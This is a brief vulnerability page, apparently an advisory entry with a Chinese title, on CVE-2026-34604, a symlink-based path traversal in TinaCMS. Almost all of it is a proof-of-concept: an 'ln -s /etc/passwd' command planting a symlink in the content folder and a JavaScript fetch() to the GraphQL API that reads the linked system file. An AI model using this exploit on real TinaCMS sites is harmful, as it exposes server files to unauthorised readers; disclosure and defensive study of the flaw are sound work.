CVE-2026-34604 TinaCMS 路径遍历漏洞（符号链接绕过）

// PoC Concept for CVE-2026-34604 // Scenario: Attacker creates a symlink inside the allowed content root // 1. Create a malicious symlink inside the repo (e.g., via git or upload) // Command: ln -s /etc/passwd content/posts/exploit.md // 2. Request the file via the vulnerable GraphQL API // The path 'content/posts/exploit.md' is valid in string check, // but resolves to '/etc/passwd' on the filesystem. fetch('/api/graphql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: ` query { get(relativePath: "posts/exploit.md") { id system } } ` }) }).then(res => res.json()).then(console.log);